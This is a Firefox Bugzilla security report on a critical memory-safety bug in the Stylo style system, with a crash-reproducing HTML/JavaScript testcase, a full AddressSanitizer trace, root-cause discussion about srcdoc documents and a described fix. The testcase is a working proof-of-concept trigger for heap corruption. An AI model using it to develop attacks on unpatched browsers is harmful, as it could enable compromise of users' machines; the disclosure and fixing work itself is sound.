Closed
Bug 1400540
Opened 7 years ago
Closed 7 years ago
stylo: heap-use-after-free in nsRuleNode::Transition
Categories
(Core :: CSS Parsing and Computation, defect, P2)
Tracking
()
RESOLVED
FIXED
mozilla57
| Tracking | Status | |
|---|---|---|
| firefox-esr52 | --- | unaffected |
| firefox55 | --- | unaffected |
| firefox56 | --- | disabled |
| firefox57 | --- | fixed |
People
(Reporter: nils, Assigned: xidorn)
References
Details
(Keywords: csectype-uaf, regression, sec-critical, Whiteboard: [post-critsmash-triage])
Attachments
(9 files, 1 obsolete file)
|
(deleted),
image/svg+xml
|
Details | |
|
(deleted),
text/html
|
Details | |
|
(deleted),
text/plain
|
Details | |
|
(deleted),
text/plain
|
Details | |
|
(deleted),
image/svg+xml
|
Details | |
|
(deleted),
text/html
|
Details | |
|
(deleted),
text/html
|
Details | |
|
(deleted),
patch
|
bholley
:
review+
|
Details | Diff | Splinter Review |
|
(deleted),
patch
|
bholley
:
review+
|
Details | Diff | Splinter Review |
mini.svg
The following testcase crashes he latest ASAN build of Firefox (BuildID=20170914215922). It requires the attach mini.svg in the same directory.
<script>
function spin () {
var x=new XMLHttpRequest();
x.open("POST","https://mozilla.org",false);
try{x.send("X");}catch(e){}
}
function start () {
o56=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
o56.src='mini.svg';
o56.addEventListener('load', fun1,false);
document.documentElement.addEventListener('DOMAttrModified',fun0);
document.documentElement.setAttribute('class','class1 class4');
spin();
o88.srcdoc="<script>window.top.fun2(document)</"+"script>";
}
function fun0 () {
o88=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
top.document.documentElement.appendChild(o88);
document.documentElement.appendChild(o56);
}
function fun1() {
o240=o56.contentWindow;
o241=o240.document;
}
function fun2(a) {
o550=a;
o561=o241.documentElement;
o562=o550.documentElement;
o562.append(o561);
}
</script>
ASAN output:
<body onload="start()"></body>
=================================================================
==3843==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000237ff8 at pc 0x7f2cb12f6b5c bp 0x7ffe38224f40 sp 0x7ffe38224f38
READ of size 8 at 0x603000237ff8 thread T0 (file:// Content)
#0 0x7f2cb12f6b5b in nsCOMPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7
#1 0x7f2cb12f6b5b in nsRuleNode::nsRuleNode(nsPresContext*, nsRuleNode*, nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1837
#2 0x7f2cb12f7923 in nsRuleNode::Transition(nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1922:7
#3 0x7f2cb12e121b in DoForward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:31:26
#4 0x7f2cb12e121b in Forward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:42
#5 0x7f2cb12e121b in nsHTMLCSSStyleSheet::ElementRulesMatching(nsPresContext*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsHTMLCSSStyleSheet.cpp:86
#6 0x7f2cb139713c in bool EnumRulesMatching<ElementRuleProcessorData>(nsIStyleRuleProcessor*, void*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:797:15
#7 0x7f2cb1394a7a in nsStyleSet::FileRules(bool (*)(nsIStyleRuleProcessor*, void*), RuleProcessorData*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1175:5
#8 0x7f2cb1396d4e in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1355:3
#9 0x7f2cb1396940 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1391:10
#10 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/layout/style/nsStyleSet.h:147:12
#11 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:107
#12 0x7f2cb1534051 in nsCSSFrameConstructor::ResolveStyleContext(nsStyleContext*, nsIContent*, nsFrameConstructorState*, mozilla::dom::Element*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5202
#13 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5167:10
#14 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5183
#15 0x7f2cb1537d42 in nsCSSFrameConstructor::AddFrameConstructionItems(nsFrameConstructorState&, nsIContent*, bool, nsCSSFrameConstructor::InsertionPoint const&, nsCSSFrameConstructor::FrameConstructionItemList&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5841
#16 0x7f2cb151a113 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11319:9
#17 0x7f2cb152fb0a in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4199:9
#18 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3
#19 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5
#20 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337
#21 0x7f2cb15354e8 in nsCSSFrameConstructor::ConstructFrameWithAnonymousChild(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsFrameItems&, nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsICSSAnonBoxPseudo*, bool) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5447:5
#22 0x7f2cb1523a0e in nsCSSFrameConstructor::ConstructOuterSVG(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5464:10
#23 0x7f2cb152e97d in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4015:7
#24 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3
#25 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5
#26 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337
#27 0x7f2cb1523fd2 in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:12421:3
#28 0x7f2cb15201b9 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2759:5
#29 0x7f2cb1542fa9 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind, TreeMatchContext*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8098:9
#30 0x7f2cb1541932 in nsCSSFrameConstructor::ContentInserted(nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7983:3
#31 0x7f2cb148010c in mozilla::PresShell::Initialize(int, int) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:1796:26
#32 0x7f2cad34e360 in nsContentSink::StartLayout(bool) /builds/worker/workspace/build/src/dom/base/nsContentSink.cpp:1286:26
#33 0x7f2cac41ef2c in nsHtml5TreeOpExecutor::StartLayout(bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:628:18
#34 0x7f2cac41aab2 in nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor*, nsIContent**, bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOperation.cpp:1150:17
#35 0x7f2cac417a02 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:461:27
#36 0x7f2cac422b0f in nsHtml5ExecutorReflusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:55:18
#37 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25
#38 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14
#39 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10
#40 0x7f2cab61d8d1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#41 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#42 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#43 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#44 0x7f2cb0d30d5f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27
#45 0x7f2cb5072c17 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:880:22
#46 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#47 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#48 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#49 0x7f2cb50725ca in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:705:34
#50 0x4ec0a3 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30
#51 0x4ec0a3 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
#52 0x7f2cc7e9382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#53 0x41d9f8 in _start (/fuzzer3/firefox/firefox+0x41d9f8)
0x603000237ff8 is located 8 bytes to the left of 32-byte region [0x603000238000,0x603000238020)
allocated by thread T0 (file:// Content) here:
#0 0x4bc27c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
#1 0x4ed88d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17
#2 0x7f2cb09e477a in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12
#3 0x7f2cb09e477a in mozilla::DeclarationBlock::Clone() const /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/DeclarationBlockInlines.h:36
#4 0x7f2cb12346d2 in ModifyDeclaration<(lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:351:5), (lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:357:5)> /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:315:21
#5 0x7f2cb12346d2 in nsDOMCSSDeclaration::ParsePropertyValue(nsCSSPropertyID, nsTSubstring<char16_t> const&, bool) /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:350
#6 0x7f2cb07a5910 in nsSMILCSSProperty::SetAnimValue(nsSMILValue const&) /builds/worker/workspace/build/src/dom/smil/nsSMILCSSProperty.cpp:134:19
#7 0x7f2cb07998fe in nsSMILCompositor::ComposeAttribute(bool&) /builds/worker/workspace/build/src/dom/smil/nsSMILCompositor.cpp:116:27
#8 0x7f2cb079711a in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:455:17
#9 0x7f2cb14993fb in Resample /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:74:21
#10 0x7f2cb14993fb in FlushResampleRequests /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:90
#11 0x7f2cb14993fb in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4160
#12 0x7f2cad405cbd in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:557:5
#13 0x7f2cad405cbd in nsDocument::FlushPendingNotifications(mozilla::FlushType) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8366
#14 0x7f2cac23c28b in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:703:14
#15 0x7f2cac23e515 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:632:5
#16 0x7f2cac23f17c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:488:14
#17 0x7f2caaa2136d in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
#18 0x7f2cad40bced in nsDocument::DoUnblockOnload() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9194:18
#19 0x7f2cad40b8b1 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9116:9
#20 0x7f2cad3e4fe9 in nsDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5620:3
#21 0x7f2cad485a12 in applyImpl<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1142:12
#22 0x7f2cad485a12 in apply<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1148
#23 0x7f2cad485a12 in mozilla::detail::RunnableMethodImpl<nsDocument*, void (nsDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1192
#24 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25
#25 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14
#26 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10
#27 0x7f2cb0b77978 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:323:25
#28 0x7f2cb0b77978 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155
#29 0x7f2cb0b7956c in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3005:11
#30 0x7f2cae75d797 in mozilla::dom::XMLHttpRequestBinding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1251:9
#31 0x7f2caef02200 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3055:13
#32 0x7f2cb5557ca4 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
#33 0x7f2cb5557ca4 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495
#34 0x7f2cb554183f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12
#35 0x7f2cb554183f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084
#36 0x7f2cb5528dcb in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12
#37 0x7f2cb5557e3c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15
#38 0x7f2cb5558792 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10
#39 0x7f2cb5faec0b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2965:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7 in nsCOMPtr
Shadow bytes around the buggy address:
0x0c068003efa0: fd fd fd fa fa fa fd fd fd fa fa fa 00 00 06 fa
0x0c068003efb0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
0x0c068003efc0: 00 00 fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068003efd0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068003efe0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa 00 00
=>0x0c068003eff0: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa[fa]
0x0c068003f000: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068003f010: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c068003f020: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068003f030: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068003f040: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3843==ABORTING
|
||
Updated•7 years ago
|
Group: core-security → dom-core-security
|
||
Comment 3•7 years ago
|
||
Can you take a look, heycam? Thanks.
Group: dom-core-security → layout-core-security
Component: DOM: CSS Object Model → CSS Parsing and Computation
Flags: needinfo?(cam)
|
|
||
Comment 4•7 years ago
|
||
Though I do see some SMIL here so maybe it is more of an SVG issue than a CSS issue, per se.
| Comment hidden (obsolete) |
|
||
Comment 6•7 years ago
|
||
Sorry, that regression range is bogus (it was actually the commit prior, which was just "Build Stylo on Windows").
|
||
Comment 7•7 years ago
|
||
(In reply to Ryan VanderMeulen [:RyanVM] from comment #6)
> Sorry, that regression range is bogus (it was actually the commit prior,
> which was just "Build Stylo on Windows").
Hm interesting. So this is a regression from stylo, despite being in the old style system code?
Nils, does this reproduce with/without the layout.css.servo.enabled pref set?
Flags: needinfo?(nils)
|
|
||
Comment 8•7 years ago
|
||
On Linux, I was only able to bisect down to the range below before mozregression started erroring out on me :(
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=edb7e1ddd9b61e2af2a75cfe5baa0f92a54a2716&tochange=594cc32b632396a867ef1f98428968b224d82151
|
|
||
Comment 9•7 years ago
|
||
If I manually set layout.css.servo.enabled to false, no crash on today's Windows nightly.
Also, I managed to get mozregression working again. Bisected down to (doubly-verified!):
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=f3e0f0a4ab7b48483dcb6c6283220282b7aec651&tochange=ecf7e90cecf61941db73659203ea09c28ef7a417
|
|
||
Comment 10•7 years ago
|
||
Ok, so this is presumably a mismatch between places where we're using the old and new style systems.
Priority: -- → P2
Summary: heap-use-after-free in nsRuleNode::Transition → stylo: heap-use-after-free in nsRuleNode::Transition
|
|
||
Comment 11•7 years ago
|
||
Xidorn has been some of these issues recently. Xidorn, can you have a look?
Flags: needinfo?(xidorn+moz)
Flags: needinfo?(nils)
Flags: needinfo?(cam)
|
|
||
Updated•7 years ago
|
|
||
Comment 12•7 years ago
|
||
In a debug build, we hit this fatal assertion:
> Assertion failure: IsGecko(), at ../../dist/include/mozilla/DeclarationBlockInlines.h:15
(I'm not sure if the assertion-failure is before or after the UAF, because my build isn't ASAN-enabled, but I'm guessing it's before. The assertion failure happens in style resolution inside of nsCSSFrameConstructor::ContentInserted. I'll attach a backtrace.)
|
|
||
Comment 13•7 years ago
|
||
|
|
||
Comment 14•7 years ago
|
||
|
|
||
Comment 15•7 years ago
|
||
|
||
Comment 16•7 years ago
|
||
IIRC the about:blank patch showed up in another bisection for a different bug that had to do with cross-style-system iframing or something.
|
|
||
Comment 17•7 years ago
|
||
See the source of "testcase 2" (which reproduces the aforementioned assert for me, in my debug build) -- it's much easier to follow than the original testcase.
Basically, the testcase makes us transplant the root element of a stylo-enabled iframe into a different presumably-non-stylo-enabled iframe (where the second iframe's contents are set via ".srcdoc", which I guess leaves it at an about: flavored page, based on the regression source).
And that triggers the "nsCSSFrameConstructor::ContentInserted [...] Assertion failure: IsGecko" backtrace shown in attachment 8909496 [details].
|
|
||
Updated•7 years ago
|
Attachment #8909510 -
Attachment description: testcase 2 → testcase 2 (triggers a fatal assertion in debug builds)
|
|
||
Comment 18•7 years ago
|
||
Ugh, this is similar to bug 1389300.
I think we should do two things here:
(1) Figure out how content is able to trigger a non-servo-backed document, and prevent that.
(2) Lazily check for parsed style attributes with the wrong style backend in BindToTree, and fix them up somehow. This will give us belt-and-suspenders protection in the case that we miss other cases of (1).
|
Assignee | |
Comment 19•7 years ago
|
||
OK, I'll investigate this.
Assignee: nobody → xidorn+moz
Flags: needinfo?(xidorn+moz)
|
||
Comment 20•7 years ago
|
||
> (1) Figure out how content is able to trigger a non-servo-backed document, and prevent that.
Because the check in nsIDocument::UpdateStyleBackendType that was added in bug 1376805 is wrong. It's checking the document URI. For srcdoc documents, the document URI is "about:srcdoc", per spec.
I _think_ the other about: URIs we have right now are not really able to be same-origin with web pages, but chrome scripts can probably still move nodes between them and content documents..
|
|
Assignee | |
Comment 21•7 years ago
|
||
I think there are several approaches we can fix this. The simplest one would be that we just add an additional check and use servo backend for about:srcdoc as well.
In addition to that, it seems to me that an about:blank page with fragment in the url can potentially trigger the same problem, since NS_IsAboutBlank returns false in that case. But I cannot write a reliable testcase to trigger it that way. (I think I succeeded once, but failed to reproduce it anymore.) So probably we want to just check the path of the URI when it's in about scheme.
Alternatively, we can somehow inherit the style backend from the parent document. My initial thought is that we can just call GetParentDocument(), and if there is any, we simply inherit it and return. This would stop this kind of issues as a whole. But the comment of GetParentDocument() says
> Note that this parent chain may cross chrome boundaries.
I'm confused, and a bit concerned whether we would effectively disable stylo in some case if we inherit backend type.
bz, what do you think about inheriting backend type from parent document? Do we need any extra check if using that approach?
Flags: needinfo?(bzbarsky)
|
|
||
Comment 22•7 years ago
|
||
Just inheriting from parent document would work for about:srcdoc, and seems like a good idea in case we have a srcdoc in chrome somewhere.
For about:blank things are more complicated because you can have window.open("about:blank") and in that case ideally you'd inherit from your opener...
One option that I sort of like is to use the principal instead of the document URI and disable stylo for now for system principal or "about:*" codebase principal. That would automatically handle about:blank and srcdoc, since those inherit principals in the cases we need to worry about.
If you use GetParentDocument() then it depends on what you're using it on. It _can_ chross chrome boundaries, e.g. in a non-e10s window GetParentDocument for a root content page is the browser.xul document. And I don't know what situations webextensions can create with content pages in the chrome process... If you just use GetParentDocument() for about:srcdoc, that should be fine, I'd think, at least for inheriting stylo-enabled state.
Flags: needinfo?(bzbarsky)
|
|
Assignee | |
Comment 23•7 years ago
|
||
Also, a separate svg file is not necessary. A in-tree svg element is enough to trigger this bug.
|
|
Assignee | |
Comment 24•7 years ago
|
||
This patch uses principal for deciding whether we use stylo for a document.
We blacklist documents basically just for unimplemented XUL bits. And whether a document can use XUL is decided by nsIDocument::AllowXULXBL [1] which calls into nsDocument::InternalAllowXULXBL [2] when the flag isn't specified, and nsDocument::InternalAllowXULXBL calls nsContentUtils::AllowXULXBLForPrincipal [3] with the node principal of the document.
AllowXULXBLForPrincipal checks three things:
* if it is system principal, allow, otherwise
* if scheme of principal is file, and file is allowed to use xul, allow, otherwise
* whether the site has allowXULXBL permission in permission manager
The second thing is controlled by pref dom.allow_XUL_XBL_for_file, which is off by default but on for reftest [4], so it doesn't matter, and we shouldn't respect it.
The allowXULXBL permission isn't mentioned anywhere other than tests and this very place which checks it [5], so I believe it doesn't matter either.
XUL support can also be enabled via calling nsIDocument::ForceEnableXULXBL [6], which is only called when a document is created by some system principal thing.
Based on the analysis above, I think it is mostly safe to do this change. It can still have some risk, but the positive side is that we would have lower risk to see this kind of bugs again, because content page can never get system principal, and thus we should never have a content page which can operate anything cross backend.
[1] https://searchfox.org/mozilla-central/rev/05c4c3bc0cfb9b0fc66bdfc8c47cac674e45f151/dom/base/nsIDocument.h#2340-2344
[2] https://searchfox.org/mozilla-central/rev/1c13d5cf85f904afb8976c02a80daa252b893fca/dom/base/nsDocument.cpp#5243-5253
[3] https://searchfox.org/mozilla-central/rev/1c13d5cf85f904afb8976c02a80daa252b893fca/dom/base/nsContentUtils.cpp#7064-7077
[4] https://searchfox.org/mozilla-central/search?q=dom.allow_XUL_XBL_for_file
[5] https://searchfox.org/mozilla-central/search?q=allowXULXBL&case=true
[6] https://searchfox.org/mozilla-central/rev/05c4c3bc0cfb9b0fc66bdfc8c47cac674e45f151/dom/base/nsIDocument.h#2346-2348
Attachment #8909654 -
Flags: review?(bobbyholley)
|
|
Assignee | |
Comment 25•7 years ago
|
||
try push looks good: https://treeherder.mozilla.org/#/jobs?repo=try&revision=48ad943488efd80c71352ca8c5207fd11e079951
(I know that we generally shouldn't do try push for security bugs, but this change doesn't really reveal anything about this bug, so I guess it's fine.)
|
|
Assignee | |
Comment 26•7 years ago
|
||
I also checked with this patch, that it doesn't regress bug 1376659.
|
|
||
Comment 27•7 years ago
|
||
Comment on attachment 8909654 [details] [diff] [review]
patch
Review of attachment 8909654 [details] [diff] [review]:
-----------------------------------------------------------------
r=me, glad to see something simple.
Can we also add release-mode (or at least diagnostic) assertions against adopting an element that has a pre-existing style attribute with the wrong backend?
Attachment #8909654 -
Flags: review?(bobbyholley) → review+
|
|
Assignee | |
Comment 29•7 years ago
|
||
(In reply to Bobby Holley (:bholley) (busy with Stylo) from comment #27)
> Can we also add release-mode (or at least diagnostic) assertions against
> adopting an element that has a pre-existing style attribute with the wrong
> backend?
OK, I'll try to write a patch. But I'm going to land this patch first.
Keywords: leave-open
|
|
Assignee | |
Comment 30•7 years ago
|
||
|
|
Assignee | |
Comment 31•7 years ago
|
||
FWIW, when working with the assertion, I found another case that XSLTProcessor seems to be able to generate Gecko-backed document, which is also fixed by the patch landed here.
|
|
Assignee | |
Comment 32•7 years ago
|
||
